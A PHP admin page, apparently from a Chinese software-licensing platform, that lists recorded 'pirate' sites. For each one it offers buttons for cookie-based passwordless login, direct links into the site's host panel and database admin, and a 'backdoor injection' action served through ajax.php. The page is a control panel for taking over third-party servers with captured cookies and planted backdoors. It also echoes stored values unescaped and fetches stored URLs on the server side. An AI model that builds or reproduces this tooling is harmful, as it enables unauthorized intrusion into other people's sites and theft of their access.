<?php
include_once '../includes/common.php';
if($islogin==1){}else sysmsg("您还未登录，请先登录",2,'./login.php',true);
$title='站点记录列表';
include_once './header.php';
$numrows=$DB->count("SELECT count(*) from authguao_block WHERE 1");
$con='授权平台共有 <b>'.$numrows.'</b> 个记录站点';
?>
<div class="row">
    <div class="col-lg-12">
        <div class="card">
            <div class="card-header">
                站点记录列表
            </div>
            <div class="card-body">
                <div class="layui-elem-quote"><?php echo $con;?></div>
                <div style="white-space:nowrap;overflow-x: auto;">
                    <table class="layui-table layuiadmin-page-table">
                        <thead><tr><th>ID</th><th>站名</th><th>域名</th><th>QQ</th><th>记录时间</th><th>更新时间</th><th>状态</th><th>操作</th></tr></thead>
                        <tbody>
                        <?php
                        $pagesize=30;
                        $pages=ceil($numrows/$pagesize);
                        $page=isset($_GET['page'])?intval($_GET['page']):1;
                        $offset=$pagesize*($page - 1);
                        $rs=$DB->query("SELECT * FROM authguao_block WHERE 1 order by id desc limit $offset,$pagesize");
                        while($res = $DB->fetch($rs))
                        {
                        if (file_get_contents("http://" . $res['url']) == false) {
                            $type='<font color="red">访问失败〔无法打开〕</font>';
                        } else {
                            $type='<font color="green">访问正常〔正常打开〕</font>';
                        }
                        if ($res['gxtime']=='0000-00-00 00:00:00') {
                            $gxtime='已是最新数据';
                        } else {
                            $gxtime=$res['gxtime'];
                        }
                        if (!$res['cookies']) {
                            $cookies='<span class="layui-btn layui-btn-xs btn-success" onclick="cookie_list('.$res['id'].')">cookie免密登录</span>';
                        }
                        echo '<tr><td>'.$res['id'].'</td><td>'.$res['name'].'</td><td><a href="http://'.$res['url'].'/" target="_blank">'.$res['url'].'</a></td><td>'.$res['qq'].'&nbsp;<a href="http://wpa.qq.com/msgrd?v=3&uin='.$res['qq'].'&site=qq&menu=yes">[<img src="../assets/img/qqpay.png" width="24">]</a></td><td>'.$res['rktime'].'</td><td>'.$res['gxtime'].'</td><td>'.$type.'</td><td><span class="layui-btn layui-btn-xs btn-primary" onclick="show_pirate('.$res['id'].')">获取信息</span>'.$cookies.'<a href="/jump.php?url=http://'.urlencode($res['url']).':3312/vhost" class="layui-btn layui-btn-xs btn-success" target="_blank">进入主机</a><a href="/jump.php?url=http://'.urlencode($res['url']).':3313/mysql/index.php" class="layui-btn layui-btn-xs btn-default" target="_blank">进入数据库</a><span class="layui-btn layui-btn-xs btn-warning" onclick="hm_list('.$res['id'].')">注入</span><span class="layui-btn layui-btn-xs btn-danger" onclick="blockdel('.$res['id'].')">删除</span></td></tr>';
                        }
                        ?>
                        </tbody>
                    </table>
                </div>
                <div class="text-center">
                <?php
                #分页
                $pageList=new Page($numrows,$pagesize,0,$link);
                echo $pageList->showPage();
                ?>
                </div>
            </div>
        </div>
    </div>
</div>
<?php
include_once './bottom.php';
?>
<script type="text/javascript">
function cookie_list(id) {
    $.ajax({
        type : 'GET',
        url : 'ajax.php?act=cookie_list&id='+id,
        dataType : 'json',
        success : function(data) {
            if(data.code == 0){
                layer.open({
                    type: 1,
                    title: 'cookie免密登录',
                    skin: 'layui-layer-rim',
                    content:data.cookie_list
                });
            } else {
                layer.msg(data.msg, {icon: 5});
            }
        },
        error:function(data){
            layer.msg('服务器错误', {icon: 5});
            return false;
        }
    });
}
function hm_list(id) {
    $.ajax({
        type : 'GET',
        url : 'ajax.php?act=hm_list&id='+id,
        dataType : 'json',
        success : function(data) {
            if(data.code == 0){
                layer.open({
                    type: 1,
                    title: '后门注入',
                    skin: 'layui-layer-rim',
                    content:data.hm_list
                });
            } else {
                layer.msg(data.msg, {icon: 5});
            }
        },
        error:function(data){
            layer.msg('服务器错误', {icon: 5});
            return false;
        }
    });
}
function show_pirate(id) {
    $.ajax({
        type : 'GET',
        url : 'ajax.php?act=show_pirate&id='+id,
        dataType : 'json',
        success : function(data) {
            if(data.code == 0){
                layer.alert(data.data);
            } else {
                layer.msg(data.msg, {icon: 5});
            }
        },
        error:function(data){
            layer.msg('服务器错误', {icon: 5});
            return false;
        }
    });
}
function blockdel(id) {
    var confirmobj = layer.confirm('你确实要删除该站点记录吗？', {
      btn: ['确定','取消']
    }, function(){
      $.ajax({
        type : 'GET',
        url : 'ajax.php?act=blockdel&id='+id,
        dataType : 'json',
        success : function(data) {
            if(data.code == 0){
                layer.msg(data.msg, {
                    icon: 6,
                    end: function (layero, index) {
                        window.location.reload();
                    }
                });
            } else {
                layer.msg(data.msg, {icon: 5});
            }
        },
        error:function(data){
            layer.msg('服务器错误', {icon: 5});
            return false;
        }
      });
    }, function(){
      layer.close(confirmobj);
    });
}
</script>